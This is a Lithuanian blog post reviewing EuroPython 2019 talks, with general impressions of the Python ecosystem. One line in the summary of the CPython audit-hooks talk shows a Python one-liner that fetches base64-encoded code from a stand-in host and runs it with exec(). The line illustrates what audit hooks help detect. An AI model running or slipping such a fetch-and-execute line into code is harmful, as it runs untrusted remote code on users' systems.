Kas ekonominio burbulo riebiausiame taške bujojantiems programuotojams, be visa ko įpratusiems prie sėdmaišių ir koorporatyvinių jogos treniruočių su Radistais, galėjo pasirodyti labai asketiška.
Bet aš į tą konferenciją važiuoju ne paėst, o pagert. Ne, ne. Juokaunu. Aš ten važiuoju gauti įkvėpimo; pajust kur link pučia Python (ir bendrai IT) ekosistemos vėjai; ir jeigu pasiseks išmokti kažko naujo.
Pradėsiu nuo 4 įžvalgų ir toliau pereisiu prie išklausytų pranešimų apžvalgos. Kaip visada viską iliustruos piešinukai iš mano konspektų.
(Pastaba: EuroPython dar neįkėlė visų video įrašų, tai aš negaliu čia įdėti nuorodų)
Bendros įžvalgos
Python tampa labai sudėtinga kalba
Iš https://python.org puslapio:
Quick & Easy to LearnČia net nežinau, ar šios konferencijos pastebėjimas, ar iš lėto brendusi mintis. Ar tas, kad po kelių metų pertraukos vėl nemažai laiko skiriu kitų programavimo kalbų mokymuisi.
Experienced programmers in any other language can pick up Python very quickly, and beginners find the clean syntax and indentation structure easy to learn
Bet Python nėra nei lengva, nei švari, nei lengvai įsisavinama. Taip sutinku, kad parašyti:
def say_hello(): print("Hello World") say_hello()yra labai lengva. Ir atrodo paprastai ir elegantiškai. Nu ir lengvai. Bet, ar kas žmogų praleistų per Python įdarbinimo techninį interviu, jeigu jis/ji mokės tik paprastus ir elegantiškus Python'o konstruktus.
Oij ne. Kalboje atsiranda vis daugiau ir daugiau naujos sintaksės, kuri dažniausiai būna skirta nišiniams naudojimo atvejams. Prieš kokius 5~7 metus aš būčiau sutikęs, kad Python yra viena tinkamiausių programavimo kalbų dėstyti mokykloje, dabar net nežinau.
Kita vertus, Python tampa viena populiariausių programavimo kalbų pasaulyje. Tai reiškiasi, kad žmonės vis dar ją sugeba išmokti.
Truputuką padailintis "Sveikas, Pasauli" pavyzdys:
import asyncio async def say_hello(*, name: str) -> None: """ >>> asyncio.run(say_hello("World")) Traceback (most recent call last): ... TypeError: say_hello() takes 0 positional arguments but 1 was given >>> asyncio.run(say_hello(name="World")) Hello World """ print(f"Hello {name}") asyncio.run(say_hello(name="World"))
Duomenų mokslo įsigalėjimas
Kažkada EuroPython konferencijose duomenų mokslui, kaip išmalda, būdavo duodama kažkiek laiko ir patalpų. Dabar atrodo, kad niekas nieko kito nedaro tik naudoja Python'ą duomenų mokslui (su AI, ML ir visais kitais skambiais sutrumpinimais (kitaip sakant tiesiog tiesinę regresiją praleidžia per kažkokius duomenis)).
WEB'o beveik nulis. Kompiuterinės grafiko beveik nulis. Netgi DevOps'ų visi pranešimai apie tai, kaip jie pakūrė IT fabrikėlį eilinei (tuoj, tuoj pasaulį išgelbėsiančiai) duomenų kasybos (data mining) kontorėlei.
Meilė Rust pakeitė meilę Go
Prieš 3~4 metus konferencijoje labai jautėsi meilė Go. Vis būdavo po vieną kitą pranešimą per dieną apie tai, kaip Python ir Go draugauja. Arba kodėl reikia naudoti Go, o ne Python. O ir vakare prie alaus vis atsirasdavo koks vienas kitas programuotojas, besuokiantis meilės serenadas Go programavimo kalbai.
Meilė truko tris metus ir šiemet niekam jau nebeįdomu. Dabar yra nauja Dulsinėja. Rust programavimo kalba.
O jau kokia faina. O jau kokia greita. O jau kaip rekomenduotina optimizuoti lėtus modulius su Rust, o ne su C. Vaje, vaje.
Didžiąją dalį Rust kalbos mylėtojų sudaro žmonės, neseniai atradę Rust programavimą kalbą. Juos galima palyginti su neseniai atsivertusiais į veganizmą. Nes Rust yra programavimo kalbų veganas.
Nors ne. Geresnis pavyzdys būtų žmonės, neseniai pradėjo sportuoti. Jie netveria savyje ir pasakoja visiems, kaip jie sportuoja, kaip pagerėjo jų savijauta, kaip iš vis svarbu visiems žmonėms sportuoti, ir kad nėra jau taip sunku atrasti laiko sau. Ypač mėgsta seniai sportuojanties aiškinti, kad jie netaip sportuoja, ar kad per mažai sportuoja, ar dar ką nors. Visi žino, kad jie mes tą savo sportą už maksimum vieno mėnesio. Nu bet tą mėnesį reikės atkentėti.
Nebėra Async IO
Beveik niekas nekalba apie AsyncIO. Dar praeitais metais buvo šurmulys. O šiais, pyst, ir nieko. AsyncIO yra viena iš tų nišinio panaudojimo Python sintaksės papildymų, kurie komplikuoja Python programavimo kalbos sintaksę. (Jau nekalbant apie nesuderinimą su standartine biblioteka) ir be kurių laisvai būtų galima gyventi (ką įrodo Twisted biblioteka).
Bet duomenų mokslas beveik nenaudoja AsyncIO. Ir tos srities dominavimas lemia, kad procentaliai AsyncIO nėra niekam įdomu. Nes realiai nelabai kam ir buvo. Nes realiai nelabai kam ir reikėjo.
Tai mano prognozė yra ta, kad AsyncIO kaip ir mirs. Tiksliau ji niekad pilnai nemirs. Bet merdės ir nieko ten įdomaus nevyks.
(Beje, vienam iš panašių įrašų aš esu prognozavęs, kad Django mirs...)
Išklausytos kalbos
Getting Your Data Joie De Vivre Back!
https://www.youtube.com/watch?v=uF2GhMAaQOQŽymi programuotoja papasakojo, ką ji įdomaus nuveikė, kai nedirbo prie rimtų projektų. Pristatė kelis savo namudinius pasižaidimo projektus. Visi jie maždaug apie meną + duomenų mokslą.
Visai gerai susiklausė. Tokia legvasvorė, bet man buvo įdomu.
https://en.wikipedia.org/wiki/The_Garden_of_Earthly_Delights
Auditing hooks and security transparency for CPython
https://www.youtube.com/watch?v=NMaWiUQitrYČia pasakojo apie PEP 551. Tas PEP'as yra apie saugumo žurnalo raštvedybos kilpas (audit hooks (specialiai išsidirbinėju su lietuvišku vertimu. Iš tikro tai norėčiau atrasti trumpą, bet skambų atitikmenį, bet nerandu)). Ir kaip Python'as planuoja ateityje leisti visiems norintiems pamatyti, kas vyksta viduje ganėtinai žemame lygmenyje.
Visa idėja paremta prielaida, kad nei vienos sistemos saugumo užtikrinti vis tiek nepavyks. Dėl to reikia kiek galima daugiau matyti, kas vyksta.
Ir jeigu sistemoje yra paleistas Python'o procesas, tai pamatyti tokį vat įvykį yra daug sunkiau, nei kad paskirai paleidžiamą, tarkim, `curl` procesą.
exec( base64.b64decode( urllib.request.urlopen('http://not-a-exploit.very-legit.com/py.b64') ).decode() )Šitas PEP'as leis prikabinėti kur tik nori visokių įvykių klausytojų.
Pats pranešimas yra labai techniškas. Ir, deja, ne toks įdomus, kaip pačio PEP'o skaitymas.
https://www.python.org/dev/peps/pep-0578/
Understanding how a malware works using Python
https://ep2019.europython.eu/talks/TzNDkKW-understanding-how-a-malware-works-using-python/Pats kalbėtojas nepasirodė. Tai pranešimas buvo atšauktas. Dar spėjau po to nueiti į vidurį pranešimo apie IPython. Nu nieko įdomaus tas IPython. Nebent nežinau, kad toks yra. Tada labai įdomu (kad "kaip aš galėjau be jo gyventi").
Python for realtime audio processing in a live music context
https://www.youtube.com/watch?v=IdsrZYZ0TI0Kažkokia grupė groja klasikiniais instrumentais ir naudoja programuojamus... Eeeeee... Hmmmmmm... Adapterius, kontrolerius, sintezatorius ar ten dar kažką koncerto metu gyvai keisti garsus. Nu ten kur koncertuose pasako "Aaaa" tada suspaudo kažką kojomis ir kažkos kompiuteriukas ritmiškai sako "Aaaa", "Aaaa", "Aaaa". Atsiprašau už nemoksliškumą, bet aš tik tiek apie muziką besigaudau.
Tai va, čia ir visa istorija. Yra kažkokia C biblioteka su Python sąsają, leidžiančia programuoti tuos kompiuteriukus. Tai jie pasirašę Python skriptų ir groja kažkokius psichodelinius klasikinės muzikos pypsėjimo blėnius.
Build your Python Extensions with Rust!
https://www.youtube.com/watch?v=FolV-xUD3KoPavadinimas viską pasako. Įdomu bus tik tada, jeigu esate užsikrėtęs Rust virusu.
Writing a Python autoreloader
https://www.youtube.com/watch?v=IghyoR6ld60Įdomus pasakojimas apie tai, kaip sunku pasirašyti automatinį bet kokios programos perkrovėją. O ypač Python'o. Nu nes labai lanksti programavavimo kalba.
Nors galiausiai Django turi greitesnį perkrovėją, bet autorius rekomenduoja visiems, kam prireiks panašaus funkcionalumą, naudoti Pylons hupper biblioteką.
https://github.com/Pylons/hupper
https://github.com/django/django/blob/master/django/utils/autoreload.py
Opt Out of Online Sexism – Open Source Activism
https://www.youtube.com/watch?v=Ov0scTjDVuQLabai daug optimizmo ir ambicijų turinti pranešėja su labai motyvuota komanda, stovinčia už jos, parašė naršyklės įskiepą, kuris paslepia keiksmažodžius Twitter'yje. Ta prasme:
document.body.innerHTML = document.body.innerHTML.replace("bybis", "*****");Bet tuoj, tuoj jie išspręs blogio (pagal jų apibrėžimus) problemą internete ir tuoj internetas bus saugus visiems.
Static typing: beyond the basics of def foo(x: int) -> str:
https://ep2019.europython.eu/talks/LTm28H5-static-typing-beyond-the-basics-of-def-foox-int-str/Nepaisant pavadinimo, čia buvo labai standartinis pranešimas apie Python'o tipų sistemą.
Why You Should Pursue Public Speaking and How to Get There
https://www.youtube.com/watch?v=a5WIMg5sunwPranešimas apie tai, kaip daryti pranešimus. Deja, bet geriausias patarimas būtų daryti atvirkščiai nei autorė darė savo pranešimo metu.
- Nereikia pranešimo metu paleisti 10~15 minučių ilgio video
- Nereikia kalbėti, kaip kad teletabiai savo laidoje kalbėjo kelių metų vaikams. Nebent konferencija skirta kelių metų vaikams
Lightning Talks
Vienintelė įdomi nuoroda iš visų mini pranešimų:
https://www.fuzzingbook.org/
Are women underrepresented in the High Performance Computing (HPC) community?
https://ep2019.europython.eu/talks/kaqWcyu-are-women-underrepresented-in-the-high-performance-computing-hpc-community/Keista, bet buvo įdomus ir logiškas pranešimas. Be įprastinio "berniukai šlykštynės, o mergaitės visos nuostabių nuostabiausios" neratyvo.
Tiesa, iš publikos klausimų buvo galima nuspėti, kitaip nei pranešėja, publika yra daug rimčiau nusiteikusi ir nori raganių medžioklės.
Introduction to low-level profiling and tracing
https://ep2019.europython.eu/talks/es2pZ6C-introduction-to-low-level-profiling-and-tracing/Pranešimas apie žemo lygmens sekimą ir profiliavimą Linux'e, truputį užkabinant Python'ą.
Tikrai techniškai sudėtingas pranešimas. Bet geras. Daug ko nesupratau. Bet geras. Reiks dar kartą peržiūrėti, kai video įkels.
How to write a JIT compiler in 30 minutes
https://ep2019.europython.eu/talks/S4nvhVb-how-to-write-a-jit-compiler-in-30-minutes/Gyvo programavimo sesija apie tai, kaip pasirašyti žaislinį JIT kompiliatorių. Prenešimas naudingas, jeigu domina JIT pagrindų pagrindai.
Opening PyPy's magic black box
https://ep2019.europython.eu/talks/898p5T5-opening-pypys-magic-black-box/Nelabai atsimenu, ką konkrečiai pasakojo. Tik atsimenu, kad minėjo, jog didžioji dalis energijos yra skiriama iš 2 į 3 migracijai ir async.io palaikymui. Kas liūdnoka, nes PyPy visada žaidžia besivejančio žaidimą. Ir dėl to automatiškai niekad nebus CPython pakaitalas.
GraphQL in Python
https://ep2019.europython.eu/talks/tgpqoNo-graphql-in-python/Nieko įpatingo. Pristatė GraphQL ir kažkokią savo biblioteką.
Gamifying the study of algorithms
https://ep2019.europython.eu/talks/ydmw6o9-gamifying-the-study-of-algorithms/Nesąmonė. Pranešimas apie tai, kaip save prisiversti mokintis algoritmų. Atsakymas: ogi skirti sau išgalvotų taškų. Nu tiesiog. Be jokio logikos.
The Dangers of Outsourcing Software Development
https://ep2019.europython.eu/talks/Pd2BspX-the-dangers-of-outsourcing-software-development/Pranešimas ne iš techninės pusės, bet iš biznio pusės. Visai nieko.
Deploy Python to the cloud faster with Azure Serverless
https://ep2019.europython.eu/talks/xQo7aib-deploy-python-to-the-cloud-faster-with-azure-serverless/Microsoft'as pristatė savo debesis.
AI in Contemporary Art
https://ep2019.europython.eu/talks/3yvWcoS-ai-in-contemporary-art/Visiems kitiems, su kuriais kalbėjau, labai patiko šitas pranešimas. Jokio techniškumo. Tiesiog menas sukurtas naudojant AI. Modernus menas. Gal dėl to manęs ir neužkabino. Man nelabai svarbu, kaip kas buvo sukurta. Man svarbu ar gražu, ar ne. Nelabai ten man gražu buvo.
Python Performance: Past, Present and Future
https://ep2019.europython.eu/talks/HaEW7Ns-python-performance-past-present-and-future/Šiaip pagal statusą pagrindinis dienos pranešimas, bet nu nieko neatsimenu. Turbūt nieko gero nepapasakojo.
The soul of the beast
https://ep2019.europython.eu/talks/ZJ7mNEK-the-soul-of-the-beast/Geriausias visos konferencijos pranešimas. Apie Python sintaksę ir gramatiką. Tikrai rekomenduoju. Gaila, kad dar nėra video.
Software patterns for productive teams
https://ep2019.europython.eu/talks/JLPhtTB-software-patterns-for-productive-teams/Apie komandų valdymą. Neįdomu man buvo.
Hack The CPython
https://ep2019.europython.eu/talks/C3We3Fp-hack-the-cpython/Pranešimas turėjo būti labai įdomus. Bet buvo visai nesuprantamas. Pranešėjas labai jaudinosi ir nerišliai bet greitai burbėjo.
How to read (code)
https://ep2019.europython.eu/talks/3h8dSfy-how-to-read-code/Daugiau ne apie skaitymą, o apie tai, kaip izoliuotai paleidinėti tik dalį kodo ir taip išsiaiškinti kaip jis veikia.
Google Cloud for Pythonistas
https://ep2019.europython.eu/talks/ZSVqSGX-google-cloud-for-pythonistas/Toks pats pranešimas, kaip ir Microsoft'o pranešimas. Žodžiu, yra debesų.
The Story of Features Coming in Python 3.8 and Beyond
https://ep2019.europython.eu/talks/xkHBEaF-the-story-of-features-coming-in-python-38-and-beyond/Truputį plačiau papasakojo apie 3.8 atnaujinimus. Kai kurie labai keisti ir anti-elegantiški.